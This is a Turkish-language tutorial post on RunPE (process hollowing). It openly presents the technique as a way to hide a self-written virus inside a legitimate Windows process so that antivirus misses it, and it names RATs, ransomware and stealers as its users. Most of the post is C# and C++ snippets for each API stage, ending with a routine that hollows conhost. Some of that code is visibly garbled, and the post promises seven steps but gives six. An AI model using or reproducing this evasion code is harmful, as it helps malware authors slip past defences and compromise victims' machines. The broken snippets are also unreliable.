Eline sağlıkMerhabalar bugünkü konumuz RunPE. Aslında biliyordum ancak geniş amaçlı anlatmak için araştırma yaptım ve aşağıda size araştırma sonuçlarını paylaşacağım.
İçindekiler;Antivirüslerden kaçırmaya yarayan kullandığımız ve Türkçesi biraz saçma olsa uygulama boşaltma anlamına gelen bir yöntemdir RunPE. Daha iyi anlamamız için diğer bir kavram olan Procces Injection Türkçesi ile uygulama enjeksiyonu işlemine bakalım. Burada yapılan aslında kendi yazdığımız kodu bellekte(RAM) bulunan başka bir kodun içerisinde çalıştırmak veya yürütülmesini sağlamaktır. Şimdi RunPE yöntemimiz de ise işletim sistemimizde yasal olarak kullanımı serbest olan herhangi bir uygulama altında zararlı kodlarımızı çalıştırmaktır. Bu sayede kodlamış olduğumuz virüs kendini herhangi bir yasal uygulamanın arkasına saklayacağından anti virüs bunu göremeyecek. Günümüzde bu olayları 3. Dünya ülkelerinde bulunan çoğunlukla kara para aklayan politikacıların yapmış olduğu şeylere benzetebilirsiniz. Bu olayları gerçekleşirken 7 adımda gerçekleşir. Birazdan onları inceleyeceğiz.
- RunPE Nedir?
- Özellikleri
- Kullandığı Fonksiyonlar ve Bir Örnekle Açıklanması
-Son
![]()
RunPE Özellikleri![]()
![]()
- Kötü amaçlı yazılımlar tarafından bir sistemde kalıcılık sağlanması için kullanılır ve kodlanır.
- RunPE kodu erişim izni gerektiren yerlere veya kısıtlı sistem işlevlerine erişim sağlamak için yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın kontrolünü ele geçirebilir.
- RunPE kodu verileri güvenli bir şekilde içerisinde saklayabilir veya yasal olarak işletim sisteminde bulunan herhangi bir uygulamanın adres alanındaki belleği manipüle edebilir, hatta kendisini uygulamaya bulaştırabilir.(Yazılım dillerinde spread olarak geçer.)
- Genellikle kötü amaçlı faaliyetlerde kullanılmasına rağmen, hata ayıklama ve sistem izleme gibi kötü olmayan amaçlar için de kullanılabilir.
- RAT(Remote Administration Tool), fidye yazılımları, crypter, stealer(şifre çalıcı) vb. kötü amaçlı yazılımlarda sıkça ön plana çıkar.
![]()
RunPE sırası ile içerisinde barındırmış olduğu CreateProcess — CRATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext son olarak da ResumeThread fonksiyonları ile 6 evrede karşımıza çıkar.
Not: Örnekleri C# ve C++ dilleri ile karışık verdim.
İlk evremiz CreateProcess — CRATE_SUSPENDED;
Bu evrede hedef uygulama başlatılır ve faaliyete geçer.
![]()
Örnek Kod;
C#:if (!CreateProcess(null, parameters.GetFormattedHostFileName(), IntPtr.Zero, IntPtr.Zero, false, parameters.Hidden ? 0x00000004u | 0x08000000u : 0x00000004u, IntPtr.Zero, currentDir, new byte[0], &processInfo)) { if (processInfo.hProcess != IntPtr.Zero) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); } }
![]()
İkinci Evre NtUnmapViewOfSection;
İlk evremizin ardından bu evrede kodumuz kullandığı fonksiyonu ile biraz sonra belleğe taşıyacağımız zararlı için ortamı hazırlamaya başlar.
Örnek Kod;
C#:pImageBase = (IntPtr)(ntHeaders->OptionalHeader.ImageBase); NtUnmapViewOfSection(processInfo.hProcess, pImageBase); // we don't care if this fails
Üçüncü evremiz VirtualAllocEx;
Bu evrede elimizde RAW data halinde bulunan zararlımızı içerisinde sızmak istediğimiz işletim sistemi üzerinde çalıştırabilmek için RAM’de ki(hafızada) yerimizi belirtmemiz gerekir. Üçüncü evre bu işlemleri yapar.
![]()
Örnek Kod;
C#:if (VirtualAllocEx(processInfo.hProcess, pImageBase, ntHeaders->OptionalHeader.SizeOfImage, 0x3000u, 0x40u) == IntPtr.Zero) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return false; } }
![]()
Dördüncü evre WriteProcessMemory;
Zararlı kodumuz artık PE formatında ve her bölümü hedef işlemin hafızasına yazılması için gerekli kod dizinini çalıştırması gerekmektedir.
![]()
Örnek Kod;
C++:if (!WriteProcessMemory ( pProcessInfo->hProcess, pPEB->ImageBaseAdress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0 )) { printf("Error writing process memory\r\n"); return; for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections [x]. PointerToRawData) continue; PVOID PSectionDestination = (PVOID) ((DWORD)PPEB->ImageBaseAddress + pSourceImage->Sections [x].VirtualAddress); printf("Writing %s section to exp\r\n", pSource Image->Sections [x].Name, pSectionDestination); if (!WriteProcessMemory ( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections [x]. PointerToRawData], pSourceImage->Sections [x].SizeOfRawData, 0 )) } printf ("Error writing process memory\r\n"); return; }
![]()
Beşinci Evre SetThreadContext;
İlgili uygulamayı devam ettirmeden önce EP(Entry Point)’i güncelliyoruz.
Örnek Kod;
C#:if (!SetThreadContext(processInfo.hThread, &context)) { if (!TerminateProcess(processInfo.hProcess, -1)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } else { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return false; } }
Altıncı ve son evremiz ResumeThread;
Zararlı kodumuz suspend mod içerisindeki işlemi aktif edebilmek içinde son kozunu kullanır.
![]()
Örnek Kod;
C++:int _tmain(int argc, _TCHAR* argv[]) { char* pPath = new char[MAX_PATH]; GetModuleFileNameA(0, pPath, MAX_PATH); pPath[strrchr(pPath, '\\') - pPath + 1] = 0; strcat(pPath, "helloworld.exe"); CreateHollowedProcess ( "conhost", pPath ); system("pause"); return 0; }
Not: Burada hedef conhost olarak belirlenmiş.
![]()
C#:// resume thread ResumeThread(processInfo.hThread); // cleanup CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); return true; }
Okuduğunuz için teşekkürler. İyi akşamlar dilerim...